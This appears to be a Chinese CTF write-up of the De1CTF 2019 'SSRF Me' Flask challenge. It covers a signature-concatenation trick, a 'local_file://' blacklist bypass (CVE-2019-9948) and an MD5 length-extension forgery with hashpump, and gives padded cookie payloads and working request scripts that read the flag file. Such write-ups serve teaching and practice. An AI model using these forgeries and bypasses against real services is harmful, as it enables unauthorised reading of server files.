0x00

打开题目查看源代码,开始审计

这里贴上网上师傅的博客笔记:

https://xz.aliyun.com/t/6050

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sysi
mport os
import jsonreload(sys)
sys.setdefaultencoding('latin1') app = Flask(__name__) secert_key = os.urandom(16) class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox) def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False #generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param) @app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read() def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout" def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() def md5(content):
return hashlib.md5(content).hexdigest() def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

笔记:

因为python 的 flask 框架,源码有三个路由。所以重点分析三个路由:

// 自己跟一遍然后梳理逻辑记录下来,多次重复锻炼然后再提高梳理逻辑的速度。
action = urllib.unquote(request.cookies.get("action"))
// print(action)
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request
.cookies.get("sign"))
ip = request.remote_addr
// 这里通过 http协议的header头Cookies: action=123;sign=ss
// 还有URLPath的query: ?param=123
// 去设置 class Task 初始化实例时 调用的实例
if(waf(param)): // file protocol can be bypassed by use local-file:// (urllib cve)
return "No Hacker!!!!"
task = Task(action, param, sign, ip) // follow it
// task = Task(action, param, sign, ip)
// return json.dumps(task.Exec()) 这里调用了Exec,而且采用了json.dumps return到了前端
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
print ip
// 读下Exec,简化下逻辑
// 首先self.checkSign() 第一重限制
// def checkSign(self): 核心 getSign(self.action, self.param) == self.sign
// def getSign(action , param) 核心:
// return hashlib.md5(secert_key + param + action).hexdigest()
// 然后分析下代码:
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) // here is vulunerability
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp // here,just print resp in server,dont't output user
tmpfile.write(resp) // save result to result.txt
tmpfile.close()
result['code'] = 200
if "read" in self.action: // so we must run it to output result
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
// 整理下整个题目的思路:
// 两个限制的绕过
// def waf(content) -----> local-file://
// def checkSign(self) ---> md5扩展攻击 // 这里比较让我烦躁的就是md5扩展攻击,因为我有时候忘记原理了,这里又要看下文章回顾下,一方面当时好像自己 // 没写一些脚本去说明和简化这类型的通用解法
// https://github.com/mstxq17/cryptograph-of-web 之前自己写的原理介绍,但是没写工具介绍
// 趁着这次做题,补充下做题的工具做法 @app.route("/geneSign", methods=['GET', 'POST']) // get step1
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
// secert_key + param + action -> secert_key(len:16) + param + 'scan'(len:4)
// need secert_key(len:16) + 'local-file:///etc/passwd' + 'readscan'(len:4)
// secert_key(len:16) + 'local-file:///etc/passwd'(len:24) + 'scan' 这里要变换下key
// /geneSign?param=local-file:///etc/pwd
// fe28521b6c224cad35396cacdb118890
// secert_key <=> secert_key(len:16) + 'local-file:///etc/passwd'(len:24) (len:40)

由以上可知:

index 用于获取源码,geneSign 用于生成 md5,De1ta 就是挑战

我们解题思路:

大概思路就是在 /De1ta 中 get param ,cookie action sign 去读取 flag.txt,其中,param=flag.txt,action 中要含有 read 和 scan,且 sign=md5(secert_key + param + action)

细节部分:



传入一个param,/geneSign路由会返回的一个sign

②:

通过cookie得到一个sign,到时候回传到exec()中去跟getSign()产生的sign校验,所以这里直接传一个getSign()产生的sign。通过cookie传入一个action参数,看后面的Exec()可以知道action="readscan"。根据提示param=flag.txt,所以这个sign应该是md5('xxxflag.txtreadscan'),但是action在geneSign()写死了为"action"。

0x01 一:通过scan方法直接读取flag.txt

分析三个路由源代码发现:

①:geneSign()获得param参数,通过action和param生成签名

②:challenge()获得cookies中的action和sign,再去通过url传参获取param,并且使用Task对象,通过json返回Exec()方法

③:index得到源码

在执行Exec方法的时候,

所以只要我们后面传入的param和路由/De1ta下传入的param一样,然后action也等于scan。并且将/geneSign路由下返回的sign一样,就可以了。看scan这个方法,就是访问param的网址,并将其内容的前50个字母返回回来。

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

还有几处关键代码:

def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

不妨假设 secert_key 是 xxx ,那么在开始访问 /geneSign?param=flag.txt 的时候,返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于 md5(xxxflag.txtscan) ,这就很有意思了。

直接构造访问 /geneSign?param=flag.txtread ,拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan') ,这就达到了目标。

注:

源码定义了action=scan.这在生成sign中是不可变的,又因为Exec方法中action必须有read和scan。所以定义为flag.txtread

所以我们构造flag.txtread。

直接访问 /De1ta?param=flag.txt 构造 cookie action=readscan;sign=aa734dd335784913abfaf29426003613 即可

0x02:解法二:CVE-2019-9948

这种方法据说才是预期解,以后记得要善用CVE库orz。。。

https://cve.mitre.org/

开始看题:

这个一开始真想不到。。看网上wp,

考点:

local_file

看到waf再看到check.startswith匹配开头file,先去搜下cve。

CVE-2019-9948:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9948

很明显有这个bug,我们跟进源码看看为啥。

然后简单看下urlopen方法

看到file 协议也是调用了封装的local_file协议

我们根据文件读取,可以读取/root/.history然后得到flag路径,就是local_file:///app/flag.txt

先生成已知值:md5(secretkey+local_file:///app/flag.txt + 'scan')

直接访问:

/geneSign?param=local_file:///app/flag.txt 

得到

e9362f489e46dcb3d85f1d214ffd59b7

构造生成: md5(secretkey+local_file:///app/flag.txt + 'scan' + 'read')

其实你有没有发现,这里跟我上面说的有点不太一样,其实你换个角度想下也就是把secretkey+local_file:///app/flag.txt =>看成secretkey不就是和上面等价了吗

开始使用hashpump来生成我们的cookie进行扩展攻击

Input Signature: 2e327c850387a7df079d9ea80f6843bc

Input Data:scan

Input Key Length: 42

这里着重讲一下这个key长度
他和我们input的内容直接联系
首先这种方法我们Input为 secretkey+local_file:///app/flag.txt
所以我们计算一下长度:
C:\Users\hp>python
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> print len("local_file:///app/flag.txt") + 16
42 所以长度为42

Input Data to Add: read

生成:18399a4edb0a072123e22c3873b9ad93

scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read

使用脚本转换成urlencode:


str = r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x01\x00\x00\x00\x00\x00\x00read'
print str.replace(r'\x','%')

结果:

scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read

在bp中

直接访问:

/geneSign?param=local_file:///app/flag.txt 

并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93

写个脚本:

import requests

url = 'http://web68.buuoj.cn/De1ta?param=flag.txt'

##将生成\x转换成%
cookies = {
'sign': '18399a4edb0a072123e22c3873b9ad93',
'action':'scan%80%00%00%00%00%00%00%00%00%00p%01%00%00%00%00%00%00read'
}
res = requests.get(url=url, cookies=cookies)
print(res.text)

另一种计算keylength方法:

secert_key 是一个长度为 16 的字符串,在 /geneSign?param=flag.txt 中可以获取 md5(secert_key + 'flag.txt' + 'scan') 的值,为 8370bdba94bd5aaf7427b84b3f52d7cb,而目标则是获取 md5(secert_key + 'flag.txt' + 'readscan') 的值

2e327c850387a7df079d9ea80f6843bc

Input Signature: 2e327c850387a7df079d9ea80f6843bc

Input Data: scan

Input Key Length: 24【secert_key 是一个长度为 16 的字符串+flag.txt】

Input Data to Add: read

18399a4edb0a072123e22c3873b9ad93

scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

转换:

str=r'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read'

print str.replace(r'\x','%')

生成:scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read

直接访问:

/De1ta?param=flag.txt

并且cookie值替换为action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=18399a4edb0a072123e22c3873b9ad93

exp:

import requests

url = 'http://60d99114-d326-40f2-be13-098d06ca8588.node3.buuoj.cn/De1ta?param=flag.txt'

cookies = {
'sign': '18399a4edb0a072123e22c3873b9ad93',
'action': 'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read',
} res = requests.get(url=url, cookies=cookies)
print(res.text)

0x03总结

关于 local_file :

​ 参考 : https://bugs.python.org/issue35907

​ 这里是使用的 urllib.urlopen(param) 去包含的文件,所以可以直接加上文件路径 flag.txt 或 ./flag.txt 去访问,也可以使用类似的 file:///app/flag.txt 去访问,但是 file 关键字在黑名单里,可以使用 local_file 代替

​ 如果使用 urllib2.urlopen(param) 去包含文件就必须加上 file ,否则会报 ValueError: unknown url type: /path/to/file 的错误

注:

当不存在协议的时候,默认使用file协议读取。

可以使用local_file:绕过,例如 local_file:flag.txt路径就是相对脚本的路径 。

local_file://就必须使用绝对路径(协议一般都是这样)。

PS:local-file:///proc/self/cwd/flag.txt也可以读取,因为/proc/self/cwd/代表的是当前路径。

当然,这个题目不绕过协议也行

他默认就是

file协议

所以当我们需要绕过时

可以考虑local_file这种方法(第一种扩展攻击)

放个exp:

import requests
conn = requests.Session() url = "http://139.180.128.86"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print resp
return resp def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print resp,i
print a

参考链接:

https://xz.aliyun.com/t/5927#toc-3

https://xz.aliyun.com/t/6050#toc-7

[De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948的更多相关文章

  1. MD5的Hash长度扩展攻击

    Hash长度扩展攻击 引子 无意中碰到一道题,大概代码是这样的 $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "XXXXXXX ...

  2. 哈希长度扩展攻击的简介以及HashPump安装使用方法

    哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段.该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ ...

  3. 哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法

    去年我写了一篇哈希长度扩展攻击的简介以及HashPump安装使用方法,本来已经足够了,但HashPump还不是很完善的哈希长度扩展攻击,HashPump在使用的时候必须提供original_data, ...

  4. hash长度扩展攻击

    这里面就放一张百度百科的解释吧,emmm 反正我是看不懂还是做一下题来巩固一下吧 CTF中的hash长度攻击 进入网页你会发现页面显示  我这里没有看到什么可以利用的,抓了一下包也没有什么有可以利 ...

  5. 实验吧——让我进去(hash长度扩展攻击)

    题目地址:http://ctf5.shiyanbar.com/web/kzhan.php 在页面源码没发现什么,于是用burp进行抓包重放 看到有setcookie,于是重新刷新页面拦截数据包(这次才 ...

  6. 实验吧Web-中-让我进去(Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用)

    打开网页,测试开始,注入费老大劲,看了大佬的blog才知道怎么干. bp抓包,观察发现cookie中有个source=0,在repeater中修改为source=1,然go一下,出来了一段源代码. $ ...

  7. 刷题记录:[De1CTF 2019]SSRF Me

    目录 刷题记录:[De1CTF 2019]SSRF Me 一.涉及知识点 1.MD5长度扩展攻击 2.Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI ...

  8. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  9. 实验吧_天下武功唯快不破&让我进去(哈希长度拓展攻击)

    天下武功唯快不破 第一反应就去抓包,看到返回包的header中有FLAG的值,base64解码后得到下图所示 这就要求我们在请求头中post相应key的值,我直接在burp中尝试了多次都没有用,想起来 ...

随机推荐

  1. python基础数据类型--列表(list)

    python基础数据类型--列表(list) 列表是我们在后面经常用到的数据类型之一,通过列表可以对数据类型进行增.删.改.查等操作 一列表的增.删.改.查 1增: 1.1增加到最后   append ...

  2. POJO,JavaBean,entity的理解

    POJO本质是就是JavaBean JavaBean JavaBean实际上是指一种特殊的Java类,它通常用来实现一些比较常用的简单功能,并可以很容易的被重用或者是插入其他应用程序中去.所有遵循“一 ...

  3. Codeforces Round #619 (Div. 2)

    A. Three Strings 题意:给三个长度相同的非空字符串abc,依次将c中的每个字符和a或者b中对应位置的字符进行交换,交换必须进行,问能否使得ab相同. 思路:对于每一个位置,如果三个字符 ...

  4. WTM框架在开发过程中如何动态迁移表和创建表

    官方迁移方法:https://wtmdoc.walkingtec.cn/#/Data/Migration 但是在实际开发过程中使用Add-Migration 方法迁移会发现,把系统内置的表也全部带出来 ...

  5. 109-PHP类成员初始化值

    <?php class mao{ //定义猫类 public $age=0; //定义多个属性并初始化 public $weight=50; public $color='white'; } $ ...

  6. 第二十篇ORM查询与SQL语句

    ORM查询与SQL语句 多表操作 创建模型 实例:我们来假定下面这些概念,字段和关系 作者模型:一个作者有姓名和年龄. 作者详细模型:把作者的详情放到详情表,包含生日,手机号,家庭住址等信息.作者详情 ...

  7. CGridCtrl显示子控件 及事件

    m_Grid.SetCellType(row, , RUNTIME_CLASS(CGridCell)); m_Grid.SetItemText(row, , _T(")); m_Grid.S ...

  8. MyBatis 关联查询的实现:一对多

    有2个实体:用户.订单,一个用户可以拥有多个订单,同时这多个订单属于一个用户,即一对多. user_tb: order_tb: 在“多”的一方(order)添加“一”的一方(user)的主键(user ...

  9. 十八、CI框架之数据库操作update用法

    一.代码如图: 二.访问一下 三.我们来查看数据库,已经被修改了 不忘初心,如果您认为这篇文章有价值,认同作者的付出,可以微信二维码打赏任意金额给作者(微信号:382477247)哦,谢谢.

  10. su鉴定故障 普通用户无法切换回root用户处理-centos7网卡速率设置

    1.1 检查/etc目录下passwd的权限[root@dev /]# ll/etc/passwd-rw-r--r--. 1 root root 1975 5月  27 06:04/etc/passw ...